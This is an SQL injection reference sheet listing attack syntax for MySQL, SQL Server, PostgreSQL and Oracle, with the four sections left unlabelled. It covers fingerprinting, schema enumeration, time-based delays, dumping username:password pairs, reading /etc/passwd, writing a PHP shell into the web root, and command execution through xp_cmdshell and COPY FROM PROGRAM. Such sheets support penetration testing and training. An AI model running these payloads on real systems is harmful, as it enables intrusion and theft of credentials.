Database-Specific SQLi Syntax

-- Comments
#                                (hash, MySQL-specific)
-- -                             (double dash + space, the trailing - ensures a space)
/* comment */                    (inline comment)

-- String concatenation
CONCAT('a','b')                  -- Returns: ab
CONCAT_WS(':',user,pass)         -- Returns: user:pass (with separator)

-- Version
SELECT @@version                 -- 5.7.33-0ubuntu0.18.04.1
SELECT version()                 -- Same result

-- Current user and database
SELECT user()                    -- root@localhost
SELECT current_user()            -- root@localhost
SELECT database()                -- webapp

-- Schema enumeration
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema='webapp'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Row limiting
SELECT * FROM users LIMIT 5     -- First 5 rows
SELECT * FROM users LIMIT 2,5   -- 5 rows starting from offset 2

-- Time delay
SELECT SLEEP(5)                  -- Pauses for 5 seconds
SELECT BENCHMARK(10000000,SHA1('test'))  -- CPU-bound delay

-- File read (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd')

-- File write (requires FILE privilege + secure_file_priv allows it)
SELECT 'content' INTO OUTFILE '/var/www/html/shell.php'

-- Aggregate rows
SELECT group_concat(username,':',password) FROM users

-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'+'b'                          -- Returns: ab

-- Version
SELECT @@version                 -- Microsoft SQL Server 2019...
SELECT SERVERPROPERTY('ProductVersion')  -- 15.0.2000.5

-- Current user and database
SELECT SYSTEM_USER              -- sa
SELECT CURRENT_USER             -- dbo
SELECT DB_NAME()                -- webapp

-- Schema enumeration
SELECT name FROM master.dbo.sysdatabases
SELECT table_name FROM information_schema.tables WHERE table_catalog='webapp'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Legacy catalog views:
SELECT name FROM sysobjects WHERE xtype='U'
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

-- Row limiting
SELECT TOP 5 * FROM users       -- First 5 rows
SELECT * FROM users ORDER BY id OFFSET 2 ROWS FETCH NEXT 5 ROWS ONLY  -- 2012+

-- Time delay
WAITFOR DELAY '0:0:5'           -- Pauses for 5 seconds

-- Command execution (requires sysadmin)
EXEC xp_cmdshell 'whoami'

-- Aggregate rows
SELECT string_agg(username,',') FROM users          -- 2017+
SELECT (SELECT name+',' FROM sysobjects FOR XML PATH(''))  -- Older versions

-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'||'b'                         -- Returns: ab

-- Version
SELECT version()                 -- PostgreSQL 14.5 on x86_64-pc-linux-gnu

-- Current user and database
SELECT current_user              -- postgres
SELECT session_user              -- postgres
SELECT current_database()        -- webapp

-- Schema enumeration (information_schema)
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Native catalog views:
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT attname FROM pg_attribute WHERE attrelid='users'::regclass AND attnum>0

-- Row limiting
SELECT * FROM users LIMIT 5            -- First 5 rows
SELECT * FROM users LIMIT 5 OFFSET 2   -- 5 rows, skip first 2

-- Time delay
SELECT pg_sleep(5)              -- Pauses for 5 seconds

-- File read (requires superuser)
SELECT pg_read_file('/etc/passwd')

-- File write
COPY (SELECT 'content') TO '/tmp/output.txt'

-- Command execution (requires superuser, 9.3+)
COPY cmd_output FROM PROGRAM 'id'

-- Aggregate rows
SELECT string_agg(username,',') FROM users

-- Comments
--                               (double dash)
/* comment */                    (inline comment)

-- String concatenation
'a'||'b'                         -- Returns: ab

-- Version
SELECT banner FROM v$version WHERE ROWNUM=1  -- Oracle Database 19c...
SELECT version FROM v$instance               -- 19.0.0.0.0

-- Current user and schema
SELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual  -- WEBAPP
SELECT USER FROM dual                                    -- WEBAPP
SELECT SYS_CONTEXT('USERENV','CURRENT_SCHEMA') FROM dual -- WEBAPP

-- FROM dual requirement
-- Every SELECT must include FROM. Use "FROM dual" for scalar values.
SELECT 1 FROM dual

-- Schema enumeration
SELECT owner,table_name FROM all_tables WHERE owner='WEBAPP'
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
-- Note: Oracle table/column names are uppercase by default

-- Row limiting
SELECT * FROM users WHERE ROWNUM<=5          -- First 5 rows (11g)
SELECT * FROM users FETCH FIRST 5 ROWS ONLY  -- 12c+
-- No native LIMIT/OFFSET syntax

-- Time delay
-- No built-in SLEEP function
-- Use heavy query or DBMS_PIPE:
SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END FROM dual

-- Aggregate rows
SELECT LISTAGG(username,',') WITHIN GROUP (ORDER BY username) FROM WEBAPP.USERS